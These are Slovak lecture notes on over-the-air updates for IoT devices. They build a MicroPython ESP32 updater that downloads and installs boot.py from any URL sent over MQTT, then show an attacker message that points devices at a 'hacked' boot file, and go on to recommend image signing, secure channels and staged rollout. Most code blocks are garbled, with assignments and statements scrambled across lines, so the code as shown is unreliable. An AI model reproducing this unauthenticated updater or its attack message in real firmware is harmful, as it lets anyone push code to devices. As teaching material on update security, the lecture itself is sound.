Aktualizácie zariadení
OTA aktualizácie, výhody OTA aktualizácií, odporúčania pri realizovaní aktualizácií, postupné zavádzanie aktualizácií, zotavenie sa zo zlej aktualizácie, overenie kompatibilnej verzie aktualizácie, bezpečná komunikácia, inkrementálne aktualizácie, overenie obrazu, minimalizácia zásahu do činnosti zariadenia počas aktualizácie
Záznam z prednášky
Kríza identity
- (slide) Owners of a certain type of microwave oven from the German manufacturer AEG have had a device that no longer works for over two weeks. Due to a wrong software update, the microwave thinks it is a steam oven. The problem can only be solved on location, a spokesperson told NU.nl. (zdroj)
Illustration
(slide) Začať tému voľnou diskusiou s niekoľkými otázkami:
- Koľkí máte mobilný telefón? Alebo presnejšie - koľkí máte chytrý telefón?
- Koľkokrát ste už dostali upozornenie o tom, že sa váš mobilný telefón chce aktualizovať na najnovšiu verziu operačného systému?
- Prečo je dobré aktualizovať niečo, čo funguje a je už overené?
Vieme, že softvér a rovnako tak aj operačný systém časom zastaráva. Síce nehrdzavie, ale prestáva konkurovať alebo postačovať svojimi vlastnosťami. V horšom prípade sa v ňom začnú objavovať bezpečnostné problémy.
Pomocou softvérových aktualizácií dokážeme distribuovať na koncové zariadenia nové vlastnosti ako aj opravovať zistené chyby. Práve vo svete IoT, kde môže byť do internetu pripojené obrovské množstvo zariadení, je otázka aktualizácie zariadení doslova kľúčová.
Dnes sa teda pozrieme na to, akú úlohu zohrávajú vo svete IoT aktualizácie a čo všetko s aktualizáciami súvisí. A keďže IoT zariadenia sú najčastejšie pripájané do internetu bezdrôtovo, budeme sa zaoberať problematikou softvérovej bezdrôtovej, tzv. OTA aktualizácie.
What is OTA?
(slide) Gartner definuje “Over-the-air” (OTA) ako
the ability to download applications, services and configurations through a mobile or cellular network [@gartner1]
(slide) Obecne sa jedná o aktualizáciu odoslanú “vzduchom” (over the air), resp. o mechanizmus schopný vykonať diaľkovú bezdrôtovú aktualizáciu hardvéru pripojeného do internetu novou verziou softvéru, nastavení alebo firmvéru.
V rozsiahlych IoT riešeniach nie je reálne vykonávať aktualizácie “starým” káblovým spôsobom, ktorý si vyžaduje pripojiť sa fyzicky s počítačom ku každému jednému zariadeniu. Tento spôsob aktualizácie môže neúmerne zvýšiť cenu celého riešenia a so zvyšujúcim sa počtom ako zariadení, tak aj aktualizácií môže odrádzať od ich pravidelného aktualizovania.
Schopnosť IoT zariadení dostávať aktualizácie je kritická pri odstraňovaní problémov so zraniteľnosťami.
Na druhej strane zle navrhnutý mechanizmus aktualizácií ponúka priestor pre vznik rozličných bezpečnostných problémov. Tým je možné ohroziť koncových klientov, ale rovnako dokáže utrpieť aj reputácia dodávateľa. Pri miliónoch zariadení totiž aj malé percento neúspešných aktualizácií predstavuje tisíce postihnutých zariadení.
OTA mechanizmus je teda možné považovať za jeden z kľúčových komponentov pre akúkoľvek IoT architektúru.
Benefits of OTA Updates
(slide) OTA aktualizácie so sebo uprinášajú množstvo výhod. Medzi tie hlavné patria:
zlepšovanie vlastností zariadení - A to či už pridávaním nových alebo rozširovaním existujúcich vlastností. A to aj v prípade, že sú už zariadenia nasadené a používané u koncových zákazníkov.
zvyšovanie bezpečnosti - Pomocou bezdrôtových aktualizácií je možné veľmi rýchlo zareagovať aj na prípadné objavené bezpečnostné chyby vydaním rýchlej opravy a jej následnej distribúcie na koncové zariadenia.
zníženie nákladov - Vo svete, kde je potrebné aktualizovať obrovské množstvo zariadení, nie je reálne, aby bol použitý konvenčný spôsob pomocou laptopu a USB kábla. Robiť výjazd ku každému kontajneru osobitne by celú službu dokázalo neúmerne predražiť.
zrýchlenie inovačného procesu - Dobrý systém aktualizácií umožňuje vývojárom nasadzovať nové riešenia často, bezpečne a spoľahlivo.
Simle OTA Update Example
(slide) Ak by sme programovali v jazyku C++ v prostredí Arduino IDE, tak si vieme vybrať už hotové riešenie. My sa však pozrieme pod kapotu a jednoduché riešenie na mikrokontroléri ESP32 v jazyku MicroPython si vytvoríme sami.
Myšlienka bude veľmi jednoduchá: V rámci aktualizácie budeme aktualizovať len súbor
boot.py
, ktorý sa spustí ako prvý pri štarte mikrokontroléra ESP32. V tej najjednoduchšej podobe bude obsahovať len premennúVERSION
, v ktorej sa bude nachádzať aktuálna verzia “firmvéru”:= 1 VERSION
Na notifikáciu o nových verziách využijeme komunikačný protokol MQTT. Pomocou neho bude v prípade novej aktualizácie distribuovaná priamo linka na jej stiahnutie vo formáte JSON:
{ "version": 2, "url": "http://www.updater.com/2/boot.py" }
The Blink
Aby bolo riešenie zaujímavejšie, v mikrokontroléri bude celý čas bežať program Blink, ktorý budeme postupne upravovať a refaktorovať. Ten teda bude každú sekundu blikať a okrem toho bude prihlásený do potrebného kanála, kde sa budú šíriť informácie o nových aktualizáciách.
Jeho jednoduchá podoba môže vyzerať nasledovne:
from time import sleep from machine import Pin from boot import * if __name__ == '__main__': print('>> Running version {}'.format(VERSION)) = Pin(2, Pin.OUT, Pin.PULL_UP) led print(">> Running...") while True: led.on()1) sleep( led.off()1) sleep(
Connecting to Network and MQTT Broker
Konfiguráciu budeme udržiavať v samostatnom súbore, ktorý sa bude volať
config.py
. Jeho podoba bude nasledovná:import ubinascii import machine # settings = ubinascii.hexlify(machine.unique_id()) CLIENT_ID = "" SSID = "" PASSWORD = "broker.hivemq.com" BROKER_URL = 1883 BROKER_PORT
Konfiguráciu následne môžeme importovať do nášho programu jednoducho pomocou:
from config import *
Na pripojenie do siete využijeme skúsenosti z minulého týždňa - použijeme ukážkovú funkciu
do_connect()
z dokumentácie jazyka MicroPython:def do_connect(ssid, password): import network = network.WLAN(network.STA_IF) sta_if if not sta_if.isconnected(): print("connecting to network...") True) sta_if.active(connect(ssid, password) sta_if.while not sta_if.isconnected(): pass print("network config:", sta_if.ifconfig())
Do siete sa následne pripojíme volaním tejto funkcie s parametrami z konfigurácie:
do_connect(SSID, PASSWORD)
Po úspešnom pripojení do siete sa môžeme pripojiť k MQTT brokeru pomocou série nasledovných riadkov:
from umqtt.robust import MQTTClient = MQTTClient(CLIENT_ID, BROKER_URL, BROKER_PORT) client connect() client.
Aby všetko fungovalo ako má, je potrebné sa prihlásiť do príslušnej témy. V našom prípade to bude téma
kpi/iotlab/update
. A rovnako tak potrebujeme nastaviť callback funkciu, ktorá bude zavolaná, keď sa v témekpi/iotlab/update
objaví nová správa. Upravíme teda predchádzajúce dva riadky nasledovne:= MQTTClient(CLIENT_ID, BROKER_URL, BROKER_PORT) client client.set_callback(on_message)connect() client."kpi/iotlab/update") client.subscribe(
Nakoniec treba vytvoriť callback funkciu
on_message()
. Jej základná podoba môže vyzerať takto:import ujson def on_message(topic, message): = message.decode("utf-8") data = ujson.loads(data) payload print(payload)
Aby všetko fungovalo ako má, v nekonečnej slučke, kde sa realizuje blikanie diódy, je potrebné pri každej iterácii zavolať funkciu
client.check_msg()
. Ak by sme ju totiž nevolali, neboli by sme notifikovaní o nových aktualizáciách. Náš “superloop” bude teda vyzerať nasledovne:while True: client.check_msg() led.on()1) sleep( led.off()1) sleep(
Teraz môžeme overiť funkcionalitu tým, že nejakú správu do kanála s informáciami o aktualizácii pošleme. Momentálne nie je podstatný obsah, ale to, či naše zariadenie bude správne notifikované. Overiť správanie môžeme rovno z príkazového riadku pomocou nástroja
mosquitto_pub
:$ mosquitto_pub -h BROKER \ -t "kpi/iotlab/update" \ -m '{"version": 2, \ "url": "http://www.updater.com/2/boot.py"}'
Downloading New Versions
To najpodstatnejšie sa však udeje vo funkcie
on_message()
. Tu zabezpečíme stiahnutie novej aktualizácie, prepísanie pôvodného súboruboot.py
novou verziou a následne aplikujeme aktualizáciu tým, že celé zariadenie reštartneme.import urequests from machine import reset def on_message(topic, message): = message.decode("utf-8") data = ujson.loads(data) payload if payload['version'] > VERSION: print(">> New version available: {}." format(payload['version'])) .print(">> Current version is: {}." format(VERSION)) .print(">> Updating...") # download update print(">> Downloading from {}" format(payload['url'])) .= urequests.get(payload['url']) response # save print('>> Writing...') = open('boot.py', 'wb') f f.write(response.content) f.close() response.close() # reset reset()
Easy Testing
Následne už zostáva len riešenie otestovať. Pre potreby prednášky som pripravil niekoľko verzií, ktoré sa nachádzajú v priečinku resources/ na stránke s materiálmi.
Na samotné testovanie opäť použijeme nástroj
mosquitto_pub
:$ mosquitto_pub -h BROKER -p PORT \ -t "kpi/iotlab/update" \ -m '{"version": 2, \ "url": "http://www.updater.com/2/boot.py"}'
Pokiaľ sme postupovali správne, po reštarte uvidíte správu s aktuálnou verziou a samozrejme premenná
VERSION
bude po celý čas dostupná.
Easy Hacking
Pokiaľ však útočník pozná formát JSON-u, ktorý sa posiela a podarí sa mu získať prístup ku MQTT brokerovi, môže poslať vlastnú správu, kde veľmi jednoducho dokáže aktualizovať všetky zariadenia služby z vlastného zdroja:
{ "version": 666, "url": "http://mirek.s.cnl.sk/hacked/hacked.boot.6969.py" }
The Solution
from time import sleep
from machine import Pin, reset
from umqtt.robust import MQTTClient
import urequests
from boot import *
from config import *
import ujson
def do_connect(ssid, password):
import network
= network.WLAN(network.STA_IF)
sta_if if not sta_if.isconnected():
print("connecting to network...")
True)
sta_if.active(connect(ssid, password)
sta_if.while not sta_if.isconnected():
pass
print("network config:", sta_if.ifconfig())
def on_message(topic, message):
= message.decode("utf-8")
data = ujson.loads(data)
payload
if payload['version'] > VERSION:
print(">> New version available: {}."
format(payload['version']))
.print(">> Current version is: {}."
format(VERSION))
.print(">> Updating...")
# download update
print(">> Downloading from {}"
format(payload['url']))
.= urequests.get(payload['url'])
response
# save
print('>> Writing...')
= open('boot.py', 'wb')
f
f.write(response.content)
f.close()
response.close()
# reset
reset()
if __name__ == '__main__':
print('>> Running version {}'.format(VERSION))
= Pin(2, Pin.OUT, Pin.PULL_UP)
led
print('>> connecting...')
do_connect(SSID, PASSWORD)
= MQTTClient(CLIENT_ID, BROKER_URL, BROKER_PORT)
client
client.set_callback(on_message)connect()
client."kpi/iotlab/update")
client.subscribe(
print(">> Running...")
while True:
client.check_msg()
led.on()1)
sleep(
led.off()1) sleep(
Important OTA Design Considerations
Vytvorené riešenie bolo veľmi jednoduché. Síce funguje, ale za veľmi špecifických okolností a určite by ste ho nechceli nasadiť do reálnej prevádzky.
(slide) V čom všetkom vidíte problém alebo potenciálny problém tohto riešenia?
(slide) O systéme aktualizácií by malo obecne platiť, že by mal byť rýchly, bezpečný a jednoduchý na používanie.
(slide) Pozrime sa teraz na niekoľko odporúčaní, na ktoré je dobré nezabudnúť v prípade návrhu mechanizmu bezdrôtových aktualizácií. Ich zoznam určite nie je kompletný a ich poradie nezohľadňuje ich dôležitosť.
Incremental Roll-Out of OTA Updates
(slide) Nezabúdajme na to, že v IoT riešení môže byť naraz zapojených obrovské množstvo zariadení. Ak všetkým naraz oznámime, že je k dispozícii nová aktualizácia, začnú všetci naraz aktualizáciu sťahovať. To môže mať neželané následky v podobe preťaženia serverov poskytujúcich aktualizáciu na stiahnutie. Ich zahltenie požiadavkami môže viesť až k znefunkčneniu služby (DDoS “útok”).
Schopnosť systému umožniť aktualizovať len vybranú skupinu zariadení, umožní tomuto problému predísť. Rovnako tak umožní znížiť riziko šírenia chybnej aktualizácie. Ak sa totiž začne distribuovať chybná aktualizácia, tak skupina poškodených zariadení zostane relatívne malá.
Recovery of Versions
(slide) Aktualizácia nemusí byť vždy úspešná. O neúspešných aktualizáciách (ne)pravidelne čítame napr. pri nových vydaniach OS Windows. Nemusí sa to teda stať len vám ;) V prípade zle vykonanej aktualizácie v prostredí IoT môžu byť však výsledky oveľa horšie, ako napr.
Je niekoľko miest, kde môže vzniknúť problém s chybnou aktualizáciou:
- na serveri poskytujúcom aktualizáciu - napr. vydavateľ môže uvoľniť chybnú aktualizáciu.
- počas prenosu/sťahovania - napr. výpadok sieťového pripojenia.
- v procese aktualizácie - napr. výpadok elektrickej energie, alebo prerušenie aktualizácie aj nedočkavým používateľom.
Zlá aktualizácia môže napáchať veľké škody a v najhoršom prípade môže viesť až k znefunkčneniu zariadenia (brick). Preto je dobré mechanizmus navrhnúť tak, aby sa v ideálnom prípade zariadenie dokázalo samo zotaviť z neúspešnej aktualizácie, napr. obnovením predchádzajúcej verzie systému alebo prepísaním zlej aktualizácie. Tým sa vyhneme podobným situáciám, aké boli predstavené vyššie.
Code Compatibility Verification
(slide) Pokiaľ vaše riešenie zahŕňa použitie rozličných typov zariadení (napr. RPi, ESP32, Arduino, …) alebo aspoň rozličných verzií zariadení (napr. RPi 1, 2, 3, 4), budete musieť distribuovať rozdielne aktualizácie pre každý typ použitého zriadenia. Musíte si teda dať pozor na to, aby bola aplikovaná správa aktualizácia na správne zariadenie.
Odporúča sa, aby ste pred aplikovaním prebranej aktualizácie overili, že sa jedná naozaj o aktualizáciu pre dané zariadenie. A to ako pri sťahovaní (stiahnutie správneho obrazu pre dané zariadenie), tak aj pred spustením aktualizácie zariadenia (overenie, či stiahnutý súbor má naozaj správnu verziu).
Aplikovaním nesprávnej aktualizácie na zariadenie môže mať fatálne následky, z ktorých bude náročné sa zotaviť. V najhoršom prípade môže dôjsť k znefunkčneniu zariadenia.
Secure Communication
(slide) Pri aktualizácii je veľmi dôležitá aj otázka použitia bezpečného komunikačného kanála/linky, prostredníctvom ktorého bude aktualizácia na zariadenie sťahovaná.
To však nestačí. Zariadenia, ktoré budú aktualizácie preberať, musia zdroju, z ktorého bude aktualizácia preberaná, dôverovať. Zdroj aktualizácie teda musí byť overený a dôveryhodný. Tým sa zabráni prípadnej modifikácii aktualizácie či už na samotnom úložisku alebo počas jeho preberania.
Partial Updates
(slide) Súbory s aktualizáciou môžu byť obrovské aj napriek tomu, že sa samotná aktualizácia môže týkať len jednej konkrétnej malej časti systému (napr. zmena jedného riadku kódu). Miesto sťahovania celého obrazu systému je teda výhodnejšie, ak sa preberie len konkrétna aktualizovaná časť systému.
Tento mechanizmus sa nazýva čiastočná alebo aj inkrementálna aktualizácia (z angl. partial update). Týmto spôsobom dokážeme znížiť množstvo preberaných údajov ako aj čas spracovania aktualizácie. Vo výsledku sa jedná o zrýchlenie celého procesu aktualizácie.
Authenticating the OTA Update Image
(slide) Ak sa zariadenie aj pripojí k dôveryhodnému serveru pre stiahnutie aktualizácie, samotný súbor s aktualizáciou nakoniec nemusí byť správny. Súbor sa môže poškodiť pri prenose alebo prípadný útočník môže podvrhnúť iný obraz (Man-in-the-middle). Preto je potrebné, aby IoT zariadenie dokázalo overiť, že sa jedná o súbor vydaný organizáciou.
Overenie pravosti si vyžaduje podpísanie obrazu na strane poskytovateľa služby pomocou súkromného kľúča a jeho overenie na zariadení pomocou verejného kľúča. Rovnako tak je dobré podpísať aj metaúdaje obrazu napr. informáciu o verzii obrazu. Tým pádom zariadenie dokáže overiť ako obraz tak aj jeho verziu a tým minimalizovať možnosť jeho podvrhnutia treťou stranou alebo podvrhnutia síce podpísaného obrazu, ale s predchádzajúcou verziou, ktorá obsahuje známu neopravenú bezpečnostnú chybu.
Zariadenie by taktiež malo odmietnuť bootovať obraz, ktorý nie je podpísaný.
Poznámka
Overenie podpisu si môže vyžadovať dodatočnú hardvérovú alebo softvérovú podporu, čo môže limitovať možnosti a schopnosti niektorých hardvérových architektúr.
Security from Physical Attacks
(slide) Okrem zabezpečenia prenosu aktualizácie na zariadenie je rovnako dôležité aj fyzické zabezpečenie zariadenia. To môže byť dôležité so zvyšujúcou sa popularitou zariadenia, vďaka čomu môže byť oň väčší záujem aj u útočníkov.
IoT zariadenie je potrebné v prvom rade zabezpečiť pred možnosťou čítať útočníkom údaje priamo z pamäte. Príkladom môžu byť JTAG porty, ktoré je dôležité vypnúť v produkčnom prostredí.
Rovnako je potrebné, aby zariadenie uchovávalo citlivé údaje, ako prihlasovacie údaje, certifikáty a pod. v zašifrovanej podobe.
Minimizing Intrusion
(slide) Prebiehajúca aktualizácia samozrejme nesmie narušiť bežnú prevádzku zariadenia. Preto je žiaduce vykonať aktualizáciu na pozadí a počas nej zabezpečiť očakávanú funkcionalitu.
Toto nie je problém v prípade vzdialených senzorov, ktoré napr. snímajú hodnoty len raz za niekoľko minút. Tu je možné si dovoliť výpadok potrebný na aktualizovanie zariadenia.
Aktualizácia sa však nesmie spustiť uprostred vykonávania činnosti zariadenia, ako napr. uprostred varenia kávy kávovarom. V istých situáciách môže ísť aj o život človeka, napr. inzulínová pumpa alebo bezpečnostný systém, ktorý je počas prebiehajúcej aktualizácie vyradený z činnosti.
OTA Architectures
(slide) Neexistuje len jediný prístup k riešeniu problematiky výstavby architektúry pre zabezpečenie OTA. To je podmienené vlastnosťami a individualitou samotných projektov. Vzhľadom na architektúru IoT, ktorú sme si priblížili už skôr (viď obrázok), môžeme však uvažovať niekoľko prístupov:
Thing-to-Cloud OTA Updates - Veci pripojené do internetu preberajú aktualizácie z jedného vzdialeného servera. Keďže sa jedná len o jeden server, správa takéhoto riešenia je jednoduchá. Na druhej strane môže viesť k problému zahltenia, keď všetky veci sa v najhoršom prípade pripájajú k tomuto serveru naraz a naraz aj preberajú aktualizácie.
Thing-to-Gateway-to-Cloud OTA Updates - V tomto prípade do architektúry vstupuje prvok navyše, ktorým je gateway (brána). Toto zariadenie predstavuje bránu medzi vecami nainštalovanými napríklad v inteligentnej domácnosti a internetom samotným. Aktualizáciu v tomto scenári preberá gateway zariadenie, z ktorého ju následne sťahujú samotné veci. Tým je možné ušetriť ako čas tak aj množstvo údajov preberaných z centrálneho servera. Preberané aktualizácie sa samozrejme môžu týkať aj aktualizácií gateway zariadení samotných.
Thing-to-Edge-to-Cloud OTA Updates - Medzi veci a aktualizačné servery v tomto prípade vstupuje vrstva Edge Computing-u. Princíp je veľmi podobný predchádzajúcej architektúre. Aktualizácie sú preberané zariadeniami vo vrstve edge, odkiaľ sú sťahované samotnými vecami. Rozdiel je v tom, že tieto zariadenia sú umiestnené mimo napr. domácej siete (inteligentnej domácnosti) a vyžaduje sa, aby veci boli vybavené pripojením do internetu. Záťaž na servery s aktualizáciami sa výrazne zníži, pretože aktualizačných serverov v edge vrstve bude menej, ako gateway zariadení v predchádzajúcej architektúre. Zvýši sa však počet požiadaviek na zariadenia poskytujúce aktualizácie v edge vrstve.
Thing-to-Gateway-to-Edge-to-Cloud OTA Updates - V tejto architektúre je záťaž rozložená rovnomerne na všetkých vrstvách. Aktualizácie sú distribuované z cloud-u na zariadenia vo vrstve edge. Odtiaľ si ich budú následne sťahovať gateway zariadenia, ktoré ich budú distribuovať na koncové zariadenia.
Conclusion
(slide) Nadácia OWASP, ktorá sa venuje zlepšovaniu bezpečnosti softvéru aj na úrovni popularizácie.
(slide) OWASP nepravidelne vydáva rebríček známy pod názvom OWASP Top Ten (posledná verzia je z roku 2017). Jedná sa o dokument o najväčších bezpečnostných rizikách hroziacich pre webové aplikácie. Rebríček z roku 2017 vyzerá nasledovne:
- Injection
- Broken Authentication
- Sensitive Data Exposure
- XML External Entities (XXE)
- Broken Access Control
- Security Misconfiguration
- XSS
- Insecure Deserialization
- Using Components with Known Vulnurabilities
- Insufficient Logging and Monitoring
V tomto dokumente sa veľmi často opakuje jedno odporúčanie: “Nevytvárajte vlastnú implementáciu niečoho, čo už je vytvorené.” Zdôvodnenie je jednoduché:
- dopustíte sa chýb, ktoré majú existujúce projekty vychytané
- potenciálne problémy môžu vidieť len vaše oči, lebo žiadne iné ich nevidia
- bus factor má hodnotu 1
(slide) Existujúce riešenia poskytujú hotové riešenia, kde je možné aktualizáciu vykonávať takmer na jedno kliknutie.
Príklady